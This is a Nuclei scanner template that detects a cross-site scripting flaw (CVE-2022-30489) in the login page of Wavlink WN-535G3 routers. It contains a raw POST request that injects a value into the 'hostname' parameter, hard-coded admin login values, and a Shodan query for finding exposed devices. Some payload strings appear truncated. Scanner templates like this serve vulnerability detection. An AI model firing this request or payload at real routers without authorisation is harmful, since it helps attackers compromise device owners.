id: CVE-2022-30489 info: name: Wavlink WN-535G3 - Cross-Site Scripting author: For3stCo1d severity: medium description: | Wavlink WN-535G3 contains a POST cross-site scripting vulnerability via the hostname parameter at /cgi-bin/login.cgi. remediation: | Apply the latest firmware update provided by the vendor to mitigate this vulnerability. reference: - https://github.com/badboycxcc/XSS-CVE-2022-30489 - https://github.com/badboycxcc/XSS - https://nvd.nist.gov/vuln/detail/CVE-2022-30489 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-30489 cwe-id: CWE-79 epss-score: 0.00117 epss-percentile: 0.45373 cpe: cpe:2.3:o:wavlink:wn535g3_firmware:-:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: wavlink product: wn535g3_firmware shodan-query: http.title:"Wi-Fi APP Login" tags: xss,cve2022,wavlink,cve,router,iot http: - raw: - | POST /cgi-bin/login.cgi HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded newUI=1&page=login&username=admin&langChange=0&ipaddr=x.x.x.x&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=")&key=M27234733&password=63a36bceec2d3bba30d8611c323f4cda&lang_=cn matchers-condition: and matchers: - type: word words: - '' - 'parent.location.replace("http://")' condition: and - type: word part: header words: - text/html - type: status status: - 200 # digest: 4a0a00473045022100f01a47380bee88aff9a7795a8d65aded1618830bf236031b6ee3adad5a3c664d022072bcca16cf8f25b799f443a007cf02d35ec2aaae1387db863b3b74afcaa4ef76:922c64590222798bb761d5b6d8e72950